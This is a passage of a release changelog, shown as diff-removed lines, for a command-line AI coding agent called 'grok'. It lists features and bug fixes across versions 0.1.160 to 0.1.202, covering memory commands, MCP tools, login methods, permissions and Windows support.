-- **Added /usage command** to view account usage and billing information.
-- **Integrated Computer Hub client** for remote computer-use sessions.
-- **Added --hub-url flag** to configure Computer Hub endpoint.
-- **Implemented /rewind** with inline overlay, message picker, and live dimming preview.
-- **Added /memory slash command** with browse and toggle routing.
-- **Memory save notifications** in scrollback with remember/forget/recall instructions.
-- **Added grok memory clear** CLI command with scope selection and confirmation.
-- **Added /memory on|off** to toggle memory mid-session.
-- **Vision support** for base64 images extracted from user queries.
-- **Added --allow/--deny CLI flags** with PolicyDeny variant and deny rule UX improvements.
-- **Configurable parallel verifiers** with improved verification prompt.
-- **MCP connection progress UI** with system reminders and progressive strategy fix.
-
-## Bug Fixes
-
-- **Fixed session resume** defaulting to legacy auth instead of OIDC.
-- **Reject WebLogin tokens** and force interactive login; fixed devbox auth.
-- **Normalized skill names** by converting underscores to hyphens.
-- **Fixed auth revalidation** to always check token validity.
-- **Fixed memory search scoring**, modal UX, and pager display.
-
-
-# 0.1.202
-
-## Features
-
-- **Add /usage command** and billing extension fix
-- **Computer Hub integration** into kigi-shell
-- **--hub-url flag** and thread hub config to shell
-- **Implement /rewind** with inline overlay, picker, and live dimming preview
-- **Stream tool-call argument deltas** via the buffered path
-- **LocalRegistry cloneable handle** with shared dispatch across workspace
-- **Add /memory slash command** with browse and toggle routing
-- **Memory save notifications** in scrollback with remember, forget, and recall instructions
-- **grok memory clear command** with scope and confirmation
-- **Support /memory on|off** to toggle memory mid-session
-- **Extract base64 images** from user queries as vision tokens
-- **--allow/--deny CLI flags** with PolicyDeny variant and deny rule UX improvements
-- **Configurable parallel verifiers** with improved prompt
-- **MCP connection progress UI** with system reminders and progressive strategy fix
-- **require_plan_approval config flag** in pager
-- **Best-of-N mode** for grok-build
-- **Anthropic Messages backend** with streaming reasoning traces end-to-end
-
-## Bug Fixes
-
-- **Fix terminal tool calls** when agent runs via scheduled task on Windows
-- **Fix resume** defaulting to legacy auth instead of OIDC
-- **Reject WebLogin tokens** and force interactive login; fix devbox auth
-- **Normalize underscores to hyphens** in skill names
-- **Fix auth** to always revalidate
-- **Fix memory search scoring**, modal UX, and pager display
-
-
-# 0.1.201-alpha.1
-
-## Features
-
-- **New `--self-verify` flag** starts automatic work-checking after each response.
-
-## Bug Fixes
-
-- **Reasoning effort settings** no longer incorrectly apply to unsupported models like grok-build.
-- **Web search, image gen, and video gen tools** now avoid 401 errors during auth provider gaps.
-- **`/share` command** now works in token's final 5 minutes and guides API key users to login.
-- **`/billing` command** now works reliably in token's final 5 minutes.
-- **Deny rules in config** now block actions even with `--always-approve`.
-- **Skills** now provide follow-up context automatically after use.
-
-
-# 0.1.201
-
-## Features
-
-- **New `--self-verify` flag** starts sessions with automatic work-checking after each response.
-
-## Bug Fixes
-
-- **Reasoning effort settings** no longer incorrectly apply to models without support, like grok-build.
-- **Web search, image generation, and video generation tools** no longer fail with missing API key errors.
-- **Deny rules in config.toml** now block tool calls even with auto-approval enabled.
-
-
-# 0.1.200-alpha.1
-
-## Features
-
-- **grok-build model** now defaults to Chat Completions API.
-
-## Bug Fixes
-
-- **MCP tools** now work more reliably by always fetching schemas before use.
-- **MCP tool calls** preserve all custom arguments without dropping extras.
-
-
-# 0.1.200
-
-## Bug Fixes
-
-- **MCP tools** now work more reliably by enforcing schema lookup before calls.
-
-
-# 0.1.197-alpha.5
-
-## Bug Fixes
-
-- **MCP tools** now always use correct parameters by requiring schema lookup first.
-
-
-# 0.1.197-alpha.4
-
-## Features
-
-- **`/model` command** now lets you pick reasoning effort levels like high/medium/low for supported models.
-- **Images in tool output** now appear as pictures the AI can see, not long base64 strings.
-
-## Bug Fixes
-
-- **Shell commands now work** in Grok Desktop on Windows.
-- **Image compression messages** now explain if size, dimensions, or both triggered resizing.
-
-
-# 0.1.197-alpha.1
-
-## Features
-
-- **Agent profiles** now support tool allow/deny lists, reasoning effort, turn limits, and reliable model overrides.
-- **Custom models** in config.toml now support both Bearer token and x-api-key authentication.
-- **Built-in docx, xlsx, pptx skills** now available for office document editing.
-- **MCP tools** now time out after 100 minutes by default instead of 1 minute.
-- **MCP server reminders** now include instructions to discover and use tools correctly.
-- **New Verify mode** (Shift+Tab) runs automatic checks and fixes after each agent turn.
-- **Tool call arguments** now stream progressively as generated by the model.
-
-## Bug Fixes
-
-- **Agents auto-exit plan mode** without prompts when started in always-approve mode.
-
-
-# 0.1.196-alpha.6
-
-## Bug Fixes
-
-- **Fixed interactive shell, command syntax, and git editor issues** on Windows.
-
-
-# 0.1.196-alpha.2
-
-## Features
-
-- **New `grok-build-orchestrator` agent** uses a lead model to coordinate subagents for builds.
-
-## Bug Fixes
-
-- **Custom UI settings in config.toml** no longer get lost when saving other changes.
-
-
-# 0.1.196
-
-## Features
-
-- **New `grok import`** resumes Claude Code sessions with `grok import <id/path>`.
-- **New `grok-build-orchestrator`** coordinates subagents for complex builds.
-- **`/skills` panel** now includes **toggles** to enable or disable individual skills.
-
-## Bug Fixes
-
-- **Discovers CLI tools** from `.zshrc`/`.bashrc`/virtualenvs (e.g., tclips).
-- **Custom UI settings** like timestamps persist across config saves.
-- **Model switches** rebuild harness and hold prompts until complete.
-- **Model list refreshes** correctly after login or logout.
-- **Subagents** now execute tools in the **specified working directory** instead of always using the parent's.
-- **Generated session titles** now display correctly in `/sessions` list and terminal.
-- **Fixed shell detection on Windows** for interactive PTYs, command syntax, and git editors.
-- **Fixed `grok share`** failing with backend ZodError due to duplicate request headers.
-
-## Performance
-
-- **Faster session startup** on large repositories by backgrounding project info.
-
-
-# 0.1.195-alpha.7
-
-## Features
-
-- **New `grok login --devbox`** option for signing in from headless devbox environments without browser access.
-- **Skill file reads** now display as **'Skill {name}'** for cleaner scrollback view.
-
-
-# 0.1.195-alpha.4
-
-## Features
-
-- **Billing credits and usage** now fetchable for display in pager/desktop.
-- **New `grok mcp doctor`** diagnoses MCP servers and suggests fixes.
-- **Session picker** now shows precise last activity times.
-
-## Bug Fixes
-
-- **Fixed generation hangs** on persistent authentication failures.
-
-
-# 0.1.195-alpha.3
-
-## Bug Fixes
-
-- **Image and video generation** now works reliably after long idle periods.
-- **Fixed crashes** from large images read by the Read tool.
-- **Improved Windows support** for auto-updates, installation, and shell commands.
-
-
-# 0.1.195-alpha.2
-
-
-# 0.1.195-alpha.1
-
-## Bug Fixes
-
-- **Terminal stays responsive** when cancelling shell commands.
-- **Fixed requests** to Anthropic models from remote model lists.
-
-
-# 0.1.195
-
-## Features
-
-- **New `grok mcp doctor`** diagnoses MCP server configuration and connectivity.
-- **Subagents** can now target specific directories without new worktrees.
-- **Session picker** now shows accurate last activity times.
-
-## Bug Fixes
-
-- **Image and video generation** now works reliably after long idle periods.
-- **Large images read from files** no longer crash API requests.
-- **Terminal stays responsive** when cancelling long-running shell commands.
-- **Anthropic models** from remote lists now route to correct API endpoints.
-- **Fixed resume and fork crashes** from old session files.
-- **Fixed crashes from large images** in tools and attachments.
-- **Fixed generation hangs** on persistent authentication failures.
-
-
-# 0.1.194-alpha.1
-
-## Features
-
-- **After plan approval**, Grok suggests `/implement` for structured coding when available.
-
-## Bug Fixes
-
-- **Model lists and pickers** now show only models accessible via your `KIGI_CODE_XAI_API_KEY`.
-
-
-# 0.1.194
-
-## Features
-
-- **Plan mode** now recommends the **/implement** skill after user approval when available.
-
-## Bug Fixes
-
-- **`grok models`** and TUI picker now show team-specific models when **`KIGI_CODE_XAI_API_KEY`** is set.
-
-
-# 0.1.193-alpha.4
-
-
-# 0.1.193-alpha.3
-
-## Features
-
-- **Pressing Ctrl+C** before any response now restores your prompt to the input box, ready to edit or resend.
-- **Native Windows x86_64 support** now available via install script and auto-updater.
-
-## Bug Fixes
-
-- **Configured MCP tools** now appear reliably in initial session context messages.
-
-
-# 0.1.193-alpha.2
-
-## Bug Fixes
-
-- **Fixed false-positive loop warnings** for different shell commands during edit-test cycles.
-
-
-# 0.1.193-alpha.1
-
-## Features
-
-- **Native Windows support** now available experimentally for running Grok without WSL.
-- **Interactive menu for importing Claude settings** lets you select items like permissions or MCP servers on welcome screen or `/import-claude`.
-
-## Bug Fixes
-
-- **Image compression** now skips small files and warns if large images can't be resized under 3.75 MB limit.
-- **Feedback errors** now appear in the session instead of failing silently.
-- **Clearer login error messages** now suggest `grok login`, API key env var, or config.toml.
-
-
-# 0.1.193
-
-## Features
-
-- **Native Windows support** (opt-in) lets you run Grok CLI directly without WSL, with MCP server compatibility.
-- **New interactive import** for Claude settings (Ctrl-I or /import-claude) lets you pick permissions, env vars, MCP servers, hooks, or paths to migrate.
-- **Cancel with Ctrl+C** before any response to restore your unsent prompt (text and images) to the input box.
-- **dontAsk permission mode** now auto-rejects tools without prompting in headless sessions.
-
-## Bug Fixes
-
-- **Large images** (>3.75MB after decoding) now compress to JPEG efficiently, keeping originals if needed.
-- **Authentication errors** now clearly suggest `grok login`, env var, or config.toml api_key.
-- **Fixed false-positive loop warnings** for different shell commands during edit-test cycles.
-- **Configured MCP servers** now appear reliably in the initial session prompt.
-
-
-# 0.1.192-alpha.3
-
-## Features
-
-- **Import settings** from `.claude/` (permissions, env vars, MCP servers) into `config.toml` using startup prompt or `/import-claude`.
-- **Claude migration** now fully disables legacy `.claude/` fallbacks after import.
-
-## Bug Fixes
-
-- **Worktree errors** now display the specific failure reason instead of generic messages.
-- **Shell commands** now appear immediately in the status bar during execution.
-
-
-# 0.1.192-alpha.2
-
-## Breaking Changes
-
-- **Temporarily removed the `Auto` option** from the `/model` picker.
-
-
-# 0.1.192-alpha.1
-
-## Features
-
-- **Skills reload automatically** when editing and saving SKILL.md files without restarting.
-
-## Bug Fixes
-
-- **Slash commands like `/loop`** now only appear when supported by the current model.
-- **Fixed empty model hash** display in status bar and feedback channels.
-- **Fixed authentication errors** for OIDC users with per-model API keys in config.toml.
-
-
-# 0.1.192
-
-## Breaking Changes
-
-- **Temporarily removed the `Auto` option** from the `/model` picker.
-
-## Features
-
-- **Import Claude settings** from `.claude/` into `.kigi/config.toml` via welcome screen ('i') or `/import-claude`.
-- **Skills reload automatically** when editing/saving SKILL.md files without restarting `grok`.
-
-## Bug Fixes
-
-- **Slash commands like `/loop`** now only appear when the current model supports them.
-
-
-# 0.1.191-alpha.6
-
-## Features
-
-- **Skills reload automatically** when you edit and save SKILL.md files without restarting.
-
-## Bug Fixes
-
-- **Slash commands like `/loop`** now only appear when supported by the current model.
-
-
-# 0.1.191-alpha.5
-
-
-# 0.1.191-alpha.4
-
-
-# 0.1.191-alpha.3
-
-## Bug Fixes
-
-- **Ctrl+C clears drafts** without cancelling turns; press twice on empty prompt to cancel.
-
-
-# 0.1.191-alpha.2
-
-
-# 0.1.191-alpha.1
-
-## Bug Fixes
-
-- **Context bar** now reflects live token usage and matches **`/context`**.
-
-
-# 0.1.191
-
-## Features
-
-- **Improved `grok login`** with automatic code delivery from browser consent page.
-
-## Bug Fixes
-
-- **Context bar** now accurately reflects live token usage matching `/context`.
-- **Ctrl+C clears drafts** without cancelling turns; press twice on empty prompt to cancel.
-
-
-# 0.1.190-alpha.3
-
-## Features
-
-- **New `[[version_overrides]]`** sections apply config patches for specific CLI version ranges.
-
-## Bug Fixes
-
-- **`/context`** now updates correctly with token usage per conversation turn.
-
-
-# 0.1.190-alpha.2
-
-
-# 0.1.190-alpha.1
-
-## Features
-
-- **New `cli.minimum_version`** config enforces version floor and prompts updates.
-
-
-# 0.1.190
-
-
-# 0.1.189-alpha.4
-
-
-# 0.1.189-alpha.3
-
-
-# 0.1.189-alpha.2
-
-## Features
-
-- **New slash command** `/feedback` available in headless and stdio agent modes.
-- **New `error_reporting` config** enables Sentry independently of telemetry.
-
-## Bug Fixes
-
-- **Fixed session cleanup race** preventing errors in concurrent headless sessions.
-
-
-# 0.1.189-alpha.1
-
-
-# 0.1.189
-
-## Bug Fixes
-
-- **Auth screen** now has consistent styling and better spacing.
-- **Fixed authentication errors** when starting new sessions after long idle.
-- **Prevents auth errors** on welcome screen from background tasks during idle.
-
-
-# 0.1.188-alpha.1
-
-## Bug Fixes
-
-- **Fixed misleading auth errors** for OIDC sessions with per-model API keys in config.toml.
-
-
-# 0.1.188
-
-## Bug Fixes
-
-- **Fixed misleading 'Invalid API key' errors** for OIDC sessions with per-model credentials.
-
-
-# 0.1.187
-
-## Features
-
-- **Added reset button** for tool permissions in desktop agent settings.
-- **Added mid-turn interjection** via Ctrl+Enter without canceling the turn.
-
-## Bug Fixes
-
-- **Fixed OIDC session refresh** when using per-model API keys in config.toml.
-- **Fixed write denials** on symlinked paths like `/tmp` after prior reads.
-
-
-# 0.1.186-alpha.1
-
-## Performance
-
-- **Reduced CPU spikes** during git operations like pull and checkout.
-
-
-# 0.1.186
-
-## Performance
-
-- **Reduced CPU spikes** from file watcher during git pull, checkout, and other operations.
-
-
-# 0.1.185-alpha.2
-
-
-# 0.1.185-alpha1
-
-
-# 0.1.185
-
-
-# 0.1.184-alpha.2
-
-
-# 0.1.184-alpha.1
-
-## Bug Fixes
-
-- **Large images** now compressed client-side before API with user notification.
-- **Plan mode reentry** reminder now includes explicit exit instructions to prevent hangs.
-- **Model unavailability** on account changes now handled gracefully with auto-switch.
-- **Session picker** shows all sessions; remote fetches now have timeouts.
-- **Credential prompts** no longer corrupt TUI by detaching child processes from terminal.
-- **Remote sessions** now matched by repo URL across machines and protocols.
-- **Fixed ghost text in input field** from config warnings and log messages.
-
-
-# 0.1.184
-
-## Bug Fixes
-
-- **Large images** now compressed client-side before API with user notification.
-- **Model unavailability** after account switch now handled with clear notifications.
-- **Session picker** now shows all sessions; remote loads have timeouts.
-- **Credential prompts** no longer corrupt TUI in terminal commands.
-- **Remote sessions** now matched by normalized repo URL across machines.
-- **TUI input field** no longer shows ghost text from config warnings and log messages.
-
-
-# 0.1.183-alpha.1
-
-## Features
-
-- **New `grok trace`** command uploads or exports session data for debugging.
-- **Slash command arguments** now support fuzzy autocompletion with Tab.
-
-
-# 0.1.183
-
-## Features
-
-- **New `grok trace`** command exports or uploads session data for debugging.
-
-
-# 0.1.182-alpha.4
-
-## Bug Fixes
-
-- **Model list** refreshes correctly after **account or team switch** to prevent auth errors.
-- **MCP tools** no longer corrupt **TUI display** with credential prompts like GPG pinentry.
-
-
-# 0.1.182-alpha.3
-
-## Features
-
-- **`grok models`** now lists available models and the default.
-- **Permission prompts** improved with numeric shortcuts and scope selector.
-
-## Bug Fixes
-
-- **Same-file edits** now serialize to prevent lost concurrent changes.
-
-
-# 0.1.182-alpha.2
-
-
-# 0.1.182-alpha.1
-
-
-# 0.1.182
-
-## Features
-
-- **`grok models`** command now lists available models and authentication status.
-- **Permission prompts** now use numeric shortcuts, scope selector, and syntax highlighting.
-
-## Bug Fixes
-
-- **Improved auth token refresh** prevents 401 failures in long conversations.
-- **Login checks** now use shared client with 5s timeout to prevent hangs.
-- **Concurrent edits** to the same file now serialize to prevent lost changes.
-- **Fixed TUI corruption** from credential prompts in MCP tools like GPG pinentry.
-
-
-# 0.1.181-alpha.2
-
-## Bug Fixes
-
-- **Improved auth token refresh** prevents failures during long conversations.
-- **Added timeout** to login checks prevents indefinite hangs.
-
-
-# 0.1.181-alpha.1
-
-## Features
-
-- **X Premium and Premium+** tiers now grant access to Grok Build.
-
-## Bug Fixes
-
-- **Model picker** now shows config alias names instead of internal slugs.
-
-
-# 0.1.181
-
-## Bug Fixes
-
-- **Model picker** now displays config key names like `grok-build` for aliased models.
-
-
-# 0.1.180-alpha.3
-
-
-# 0.1.180-alpha.2
-
-
-# 0.1.180-alpha.1
-
-## Features
-
-- **New `--restore-code` flag** restores original git commit on session resume.
-- **Session resume** warns if current git HEAD **diverged** from original commit.
-- **Welcome screen** shows **SuperGrok upsell** without active subscription.
-- **`/share`** slash command hidden when sharing disabled remotely.
-
-## Bug Fixes
-
-- **`/privacy opt-out`** now works for OAuth2 and CLI team tokens.
-- **Esc** unfocuses prompt; double-Esc cancels running turns.
-
-
-# 0.1.180
-
-## Features
-
-- **New `--restore-code`** flag restores session commit when resuming with `-w`.
-- **Session resume** now warns if **codebase HEAD** diverged from original.
-- **Welcome screen** restricts actions and upsells SuperGrok without subscription.
-- **`/share` slash command** now hidden when sharing is disabled remotely.
-
-## Bug Fixes
-
-- **`/privacy opt-out`** now works for **OAuth2 and CLI team tokens**.
-- **Esc unfocuses prompt** during turns; **double-Esc from scrollback** cancels running turns.
-- **Safety and policy errors** no longer trigger unnecessary re-authentication.
-- **`list_dir`** cleans display paths for `.`, empty, and `./` targets.
-
-
-# 0.1.179-alpha.5
-
-## Bug Fixes
-
-- **Prevents disk accumulation** from orphaned upload files and scratch directories in long sessions.
-
-
-# 0.1.179-alpha.4
-
-## Bug Fixes
-
-- **Prevents disk accumulation** from orphaned upload files and scratch directories in long sessions.
-
-
-# 0.1.179-alpha.3
-
-## Bug Fixes
-
-- **Fixed conversation retries** on empty model responses lacking content.
-- **Improved bash commands** in permission prompts with syntax highlighting, wrapping, and allow-always persistence.
-
-
-# 0.1.179-alpha.2
-
-
-# 0.1.179-alpha.1
-
-
-# 0.1.179
-
-## Features
-
-- **How-to guides** bundled in binary, accessible via Ctrl+P and model-readable.
-- **`/logout`** slash command clears credentials and returns to login.
-- **`/privacy`** slash command toggles coding data retention opt-in/out.
-- **SuperGrok upsell** shown on welcome screen without subscription.
-- **Live countdown** and direct cancel added for `/loop` scheduled tasks.
-
-
-# 0.1.178-alpha.1
-
-## Bug Fixes
-
-- **Fixed authentication failures** and web search disabling during token refresh periods.
-
-
-# 0.1.178
-
-## Bug Fixes
-
-- **Fixed authentication failures** during token refresh periods preventing 401 errors.
-
-
-# 0.1.177-alpha.1
-
-## Bug Fixes
-
-- **New file creations** now render as all-green diffs with 'Creating' prefix.
-
-
-# 0.1.177
-
-## Bug Fixes
-
-- **write_file tool outputs** now render as proper diffs with 'Creating' prefix.
-- **Authentication token refreshes** now robust across shell, pager, and desktop.
-
-
-# 0.1.176-alpha.1
-
-## Features
-
-- **`grok sessions search`** now finds sessions by content with scores and snippets.
-- **Session picker** now combines fuzzy matches with deep content search.
-
-## Bug Fixes
-
-- **Scheduled tasks** now require explicit user confirmation before cancellation.
-- **Ctrl+V image paste** now handles empty clipboard text and bracketed paste.
-
-
-# 0.1.176
-
-## Features
-
-- **`grok sessions search`** now supports **full-text queries** across chat content and tools.
-- **Session picker** now combines fuzzy matching with **deep content search** results.
-- **Unified logs** now saved to `~/.kigi/logs/unified.jsonl` with **Download Logs** in desktop.
-
-## Bug Fixes
-
-- **Scheduled tasks** now require **user confirmation** before cancellation.
-- **Image pasting** now handles **Ctrl+V** and whitespace-only clipboard events.
-
-
-# 0.1.175-alpha.1
-
-## Features
-
-- **Configurable announcements and tips** now load from local config files.
-- **Live MCP server toggle** enables enable/disable without session restart.
-- **New slash command** `/session-info` displays model, context usage, turns, and session title.
-
-## Bug Fixes
-
-- **Auto-update restart** now launches the correct new version.
-- **Auth.json hot-reload** fixed for grok login in other terminals.
-- **Claude permission settings** now merge rules across all files with correct precedence.
-
-## Performance
-
-- **Status bar git info** updates faster without synchronous spawns.
-
-
-# 0.1.175
-
-## Features
-
-- **New slash command** `/dream` triggers **manual memory consolidation**.
-
-## Bug Fixes
-
-- **Context bar** now updates **token count** immediately after **compaction**.
-- **Remote session restore** with `-w` now targets **worktree** without source pollution.
-
-
-# 0.1.174-alpha.2
-
-## Features
-
-- **Configurable announcements and tips** now load from local config files.
-- **Live MCP server toggle** enables/disables without session restart.
-
-## Bug Fixes
-
-- **Auto-update restart** now launches the correct new version.
-- **Auth.json hot-reload** fixed for `grok login` in other terminals.
-
-## Performance
-
-- **Status bar git info** updates instantly without synchronous spawns.
-
-
-# 0.1.174-alpha.1
-
-## Features
-
-- **Announcements and tips** now load from local config files.
-- **MCP servers** can now be toggled live without restarting the session.
-
-## Bug Fixes
-
-- **Auto-update restart** now launches the correct new version.
-- **Auth.json hot-reload** now detects `grok login` from other terminals.
-- **API error messages** no longer include request body for privacy.
-- **Status bar counting fixed**, **diff indentation preserved**, and **bash timeout** increased to 10 hours.
-- **Rate limit errors** now show friendly messages with **upgrade instructions**.
-- **External auth tokens** now refresh correctly on 401 errors.
-
-## Performance
-
-- **Status bar git info** now updates without synchronous git spawns.
-
-
-# 0.1.174
-
-## Features
-
-- **New slash command** `/session-info` displays model, context usage, turns, and session title.
-
-
-# 0.1.173-alpha.2
-
-## Features
-
-- **Configurable announcements and tips** now load from local config files.
-- **Live MCP server toggle** enables/disables without session restart.
-
-## Bug Fixes
-
-- **Auto-update restart** now launches the correct new version.
-- **Auth.json hot-reload** fixed for `grok login` in other terminals.
-- **Fixed status bar counting**, **diff indentation**, and **increased bash timeout** to 10 hours.
-- **Rate limit errors** now show friendly messages with **upgrade instructions**.
-
-## Performance
-
-- **Status bar git info** updates faster without synchronous spawns.
-
-
-# 0.1.173-alpha.1
-
-## Features
-
-- **Announcements and tips** now configurable from local files like config.toml.
-- **Live MCP server toggle** enables disable/re-enable without session restart.
-- **New config options** `[features] managed_config` and `[endpoints] managed_config_url` for enterprises.
-- **Crash handler** opt-in via `[diagnostics] crash_handler`.
-- **`/loop` slash command** and **monitor tool** for recurring tasks.
-- **Vim-style quit commands** `:q`, `:q!`, `:wq`, `:wq!` now exit TUI.
-
-## Bug Fixes
-
-- **Auto-update restart** now launches correct new version via symlink.
-- **External `grok login`** now hot-reloads auth without app restart.
-- **Fixed hangs** from broken streaming responses.
-- **Stale background tasks** now marked complete on session reload.
-- **MCP servers** loaded from `~/.claude.json` and `.mcp.json` files.
-
-## Performance
-
-- **Status bar git info** renders faster using cached notifications.
-
-
-# 0.1.173
-
-## Features
-
-- **Live MCP server toggle** enables disable/re-enable without session restart.
-- **Blocked state** now displayed in settings with profile images and manage button.
-- **New config flags** `managed_config` and `managed_config_url` for enterprise setups.
-- **MCP servers** now load from ~/.claude.json and.mcp.json files.
-- **Opt-in crash handler** captures SIGSEGV/SIGBUS dumps via config or env var.
-- **New /loop slash command** schedules recurring tasks with monitor tool.
-- **Vim quit commands** :q, :q!, :wq, :wq! now exit TUI.
-- **Signal-safe crash handler** wired into pager with opt-in config gate.
-
-## Bug Fixes
-
-- **Auth refresh** now handles re-auth, OIDC principal context, and stale tokens.
-- **Stale background tasks** now marked complete on session reload.
-
-
-# 0.1.172-alpha.1
-
-## Features
-
-- **Configurable announcements and tips** now load from local config files.
-
-## Bug Fixes
-
-- **Auto-updates** now restart with the correct new version.
-- **Auth.json hot-reload** fixed for `grok login` in other terminals.
-
-## Performance
-
-- **Status bar** git info updates faster without synchronous spawns.
-
-
-# 0.1.172
-
-## Features
-
-- **Announcements and tips** now configurable from local files like config.toml.
-
-## Bug Fixes
-
-- **Auto-updates** now restart with the correct new version displayed.
-- **External `grok login`** now hot-reloads auth without restarting.
-
-## Performance
-
-- **Status bar git info** renders faster using cached notifications.
-
-
-# 0.1.171-alpha.5
-
-## Bug Fixes
-
-- **Auto-update restart** now launches the correct new version and displays updated version number.
-
-
-# 0.1.171-alpha.4
-
-## Bug Fixes
-
-- **Exit plan mode** now shows full approve/revise/feedback options instead of simple y/n prompt.
-
-
-# 0.1.171-alpha.3
-
-## Features
-
-- **New `grok ssh`** command enables clipboard copy from remote sessions in Apple Terminal.
-
-
-# 0.1.171-alpha.2
-
-
-# 0.1.171-alpha.1
-
-## Features
-
-- **MCP servers** can now be enabled or disabled from the UI.
-
-
-# 0.1.170-alpha.2
-
-## Features
-
-- **`grok login --device-auth`** enables login from SSH, Docker, and other headless environments without port forwarding.
-- **Skills tab** added to the hooks/plugins modal.
-- **Permission rules** now support path globs like `Edit(src/**/*.rs)` and recursive `**` patterns.
-- **Slash command dropdown** widened to show plugin names.
-- **`Ctrl+P` command palette** for quick access to commands and actions.
-- **MCP integration tools** are now discoverable and usable via `search_tool` and `use_tool`.
-- **Terminal multiplexer clipboard support** with automatic routing and diagnostics for tmux/zellij/screen.
-- **`/btw` side-questions** now appear as a compact inline panel above the prompt instead of a fullscreen overlay.
-- **Command palette sections** group commands by category for easier navigation.
-- **'New Session in Worktree'** command added to the palette.
-- **Environment variables** from `.claude/settings.json` are now loaded into sessions.
-- **`Ctrl+Shift+V` / `Cmd+Shift+V`** pastes text inline without triggering tool calls.
-- **Marketplace** now supports GitHub source type and a known_marketplaces.json registry.
-
-## Bug Fixes
-
-- **Login with cached credentials** no longer fails when upgrading between auth methods.
-- **`Shift+1` in VSCode terminal** now correctly triggers bash mode.
-- **Single-line command display** no longer shows extra newlines.
-
-## Performance
-
-- **Streaming zstd compression** for file uploads reduces transfer size.
-
-
-# 0.1.170-alpha.1
-
-
-# 0.1.170
-
-## Features
-
-- **`grok login --device-auth`** enables login from SSH, Docker, and other headless environments without port forwarding.
-- **Skills tab** added to the hooks/plugins modal.
-- **Permission rules** now support path globs like `Edit(src/**/*.rs)` and recursive `**` patterns.
-- **Slash command dropdown** widened to show plugin names.
-- **`Ctrl+P` command palette** for quick access to commands and actions.
-- **MCP integration tools** are now discoverable and usable via `search_tool` and `use_tool`.
-- **Terminal multiplexer clipboard support** with automatic routing and diagnostics for tmux/zellij/screen.
-- **`/btw` side-questions** now appear as a compact inline panel above the prompt instead of a fullscreen overlay.
-- **Command palette sections** group commands by category for easier navigation.
-- **'New Session in Worktree'** command added to the palette.
-- **Environment variables** from `.claude/settings.json` are now loaded into sessions.
-- **`Ctrl+Shift+V` / `Cmd+Shift+V`** pastes text inline without triggering tool calls.
-- **Marketplace** now supports GitHub source type and a known_marketplaces.json registry.
-
-## Bug Fixes
-
-- **Login with cached credentials** no longer fails when upgrading between auth methods.
-- **`Shift+1` in VSCode terminal** now correctly triggers bash mode.
-- **Single-line command display** no longer shows extra newlines.
-
-## Performance
-
-- **Streaming zstd compression** for file uploads reduces transfer size.
-
-
-# 0.1.169-alpha.2
-
-## Features
-
-- **Added** `grok login --device-auth` **flag** for headless environments like SSH and Docker.
-
-
-# 0.1.169
-
-
-# 0.1.168-alpha.1
-
-## Features
-
-- **`/compact-mode`** slash command toggles denser UI layout.
-
-
-# 0.1.168
-
-## Features
-
-- **`/compact-mode`** slash command toggles denser UI layout.
-
-
-# 0.1.167-alpha.2
-
-# 0.1.167-alpha.1
-
-## Bug Fixes
-
-- **Automatic cleanup** deletes stale session files older than 30 days.
-- **Linux binaries** now fully static for older distro compatibility.
-
-# 0.1.167
-
-# 0.1.162
-
-## Features
-
-- **Marketplace plugin provenance** tracked in InstalledRepo with source metadata and name collision warnings.
-- **web_fetch tool** enables web content fetching with domain permissions and proxy support.
-- **video_gen tool** integrated with remote settings gating and session-based authentication.
-- **/feedback command** activates dedicated mode for submitting session feedback to x.ai.
-- **Git stash-all** via ACP extension and desktop Changes panel button including untracked files.
-- **Pager --oauth flag** forces OAuth flow for deferred welcome-screen authentication.
-- **Fractional bash timeouts** like 30.5s now supported in toolset.bash config.toml.
-- **.mcp.json support** enables team-shared MCP servers via project root config with full precedence.
-- **Auth info extension** returns login method ID and email via x.ai/auth/info ACP method.
-- **Branch diff section** shows PR-style diffs vs default branch in desktop changes panel.
-- **Jujutsu VCS support** enables detection, operations, routing, and workspaces.
-- **Startup announcements** emits x.ai/announcements/refreshed ACP notification on agent init.
-- **Auto-enroll updates** defaults to enabling automatic updates without interactive prompt.
-- **Subagent visualizations** in pager now show persona, role, and model metadata.
-- **Bundled agents** discovered from ~/.kigi/bundled/agents/ with lowest precedence after project/user/built-in.
-- **Pager welcome screen** displays rotated tip-of-the-day from RemoteSettings honoring config and env overrides.
-- **image_gen/video_gen tools** instruct model to display generated media inline via markdown.
-- **Project plugins** default disabled with enable via [plugins].enabled and added counts for UI.
-- **Enterprise managed configs** via ~/.kigi/managed_config.toml/requirements.toml with `grok inspect` and `grok setup`.
-- **web_fetch tool** enabled via [features] web_fetch in config.toml alongside env/remote settings.
-- **grok login defaults to OAuth** instead of legacy relay; use --legacy or KIGI_OAUTH_ENABLED=0 for old behavior.
-- **Clipboard copy over SSH/tmux** now reaches local terminal via OSC 52 alongside native clipboard writes.
-
-## Bug Fixes
-
-- **Cross-CWD session resume** now finds local sessions under any stored directory before remote restore.
-- **Automatic cleanup** removes old grok/grok-pager binaries post-update, keeping current + previous.
-- **Preserves legacy credentials** when clearing OAuth scope in auth.json during login.
-- **Plan file path fix** includes session-specific path in EnterPlanMode output for correct writes.
-- **Rewind truncation fix** skips synthetic system-reminder messages when counting user prompts.
-- **User prompt history** excludes subagent prompts preventing Ctrl+R pollution.
-- **Path-not-found hints** from remote settings now reach TUI and shell agent config.
-- **Legacy WebLogin users** regain managed MCP config fetching post-OIDC migration.
-- **Skill discovery** handles missing frontmatter using dir name and normalizes spaced names to hyphens.
-- **web_fetch PDFs** saved to disk with read_file guidance instead of garbled text.
-
-## Performance
-
-- **Parallel tool dispatch** accelerates multi-tool batches via concurrent execution.
-- **Faster session memory staleness** via 7-day half-life default and equalized session source weights.
-
-
-# 0.1.161-alpha.3
-
-## Features
-
-- **Interactive plan approval dialog** enables approve/reject/feedback on exit_plan_mode before building.
-
-## Bug Fixes
-
-- **Prevents model crashes** on large files by capping hashline_read output at MAX_LINES_READ like read_file.
-- **Automatic cleanup** removes old grok/grok-pager binaries post-update, keeping only current and previous.
-
-
-# 0.1.161-alpha.2
-
-## Features
-
-- **Parallel tool dispatch by default** accelerates multi-tool execution via batched skills and timing fixes.
-- **Web fetch tool** enables controlled web content retrieval with interactive domain permissions and config gating.
-
-## Bug Fixes
-
-- **Fixed pager login screen** for enterprise OIDC via centralized interactive auth detection.
-- **Per-key error streak detection** prevents cross-tool interference in doom loop termination.
-
-
-# 0.1.161-alpha.1
-
-## Features
-
-- **Force OAuth login** from pager welcome screen using new `--oauth` startup flag.
-
-
-# 0.1.160-alpha.8
-
-## Features
-
